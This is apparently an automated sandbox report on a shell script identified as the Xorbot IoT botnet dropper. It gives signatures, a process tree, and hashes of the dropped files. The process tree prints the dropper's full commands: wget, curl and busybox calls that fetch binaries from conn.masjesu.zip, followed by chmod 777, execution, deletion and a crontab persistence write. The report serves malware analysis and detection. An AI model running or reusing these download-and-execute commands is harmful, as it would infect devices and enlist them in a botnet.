Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/01/2025, 03:33

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250111-d37b9svjer
  • SHA256 9f106787cc7981b9970225fdfd2df90727fe49859333af1d98f0a011601daa49
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1626) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 26 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          ./jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            ./6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
            • Executes dropped EXE
            PID:755
          • /bin/rm
            rm 6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
              • File and Directory Permissions Modification
              PID:796
            • /tmp/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              ./QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
              • Executes dropped EXE
              PID:797
            • /bin/rm
              rm QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
              2⤵
                PID:799
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:823
              • /bin/chmod
                chmod 777 l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                • File and Directory Permissions Modification
                PID:831
              • /tmp/l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                ./l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                • Executes dropped EXE
                PID:833
              • /bin/rm
                rm l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                2⤵
                  PID:835
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:837
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:842
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:844
                • /bin/chmod
                  chmod 777 wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                  • File and Directory Permissions Modification
                  PID:845
                • /tmp/wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  ./wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                  • Executes dropped EXE
                  PID:846
                • /bin/rm
                  rm wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                  2⤵
                    PID:848
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:850
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /bin/chmod
                    chmod 777 om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    ./om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:854
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:856
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:857
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:858
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:859
                        • /bin/rm
                          rm om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                          2⤵
                            PID:861
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                            • System Network Configuration Discovery
                            PID:864
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                            • System Network Configuration Discovery
                            PID:865
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:867
                          • /bin/chmod
                            chmod 777 mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                            • File and Directory Permissions Modification
                            PID:949
                          • /tmp/mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            ./mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                            • Executes dropped EXE
                            PID:950
                          • /bin/rm
                            rm mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                            2⤵
                              PID:952
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                              • System Network Configuration Discovery
                              PID:953
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                              • System Network Configuration Discovery
                              PID:954
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:955
                            • /bin/chmod
                              chmod 777 S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:956
                            • /tmp/S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              ./S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                              • Executes dropped EXE
                              PID:957
                            • /bin/rm
                              rm S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                              2⤵
                                PID:959
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/GLBWiypxQWn6FF1NevYOF1xVhoyQpcmHl2
                                2⤵
                                • System Network Configuration Discovery
                                PID:960
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/GLBWiypxQWn6FF1NevYOF1xVhoyQpcmHl2
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                PID:961

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV

                                  • Path /tmp/6IiYYdT8wMTmnfdXMnMaN4RAHvS8d087ZV
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP

                                  QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA

                                  • Path /tmp/QRllFoAQslIuF4iKVxeJOCpJMzTnePw2LA
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP

                                  S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF

                                  • Path /tmp/S0T66agLa1GQ8mJksAsSCceRG75TYWcqGF
                                  • Size 111KB
                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                  • MD5 SHA1 SHA512 SSDEEP

                                  jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1

                                  • Path /tmp/jWw3t7szfTUk8tKtFXGBakfqWrgUAiTrW1
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP

                                  l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT

                                  • Path /tmp/l96ovtYFysFJmZiSpfMcuzZy54uOrZB2nT
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP

                                  mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd

                                  • Path /tmp/mmvNqBcZyN6F38EriqACPaF4aIZj9SbDOd
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP

                                  om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO

                                  • Path /tmp/om84a2x8nVrqYsHVvTcXvYYxvXXDvVqGBO
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP

                                  wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW

                                  • Path /tmp/wQhUdfGM7v5I4RSceAgeGG9NgKO199W2NW
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.CFEvV8

                                  • Path /var/spool/cron/crontabs/tmp.CFEvV8
                                  • Size 210B
                                  • SHA256 33f2449fe254655177d6ee0f6b812e945112452e318d1573bf2bc5fc1d58f2d5
                                  • MD5 SHA1 SHA512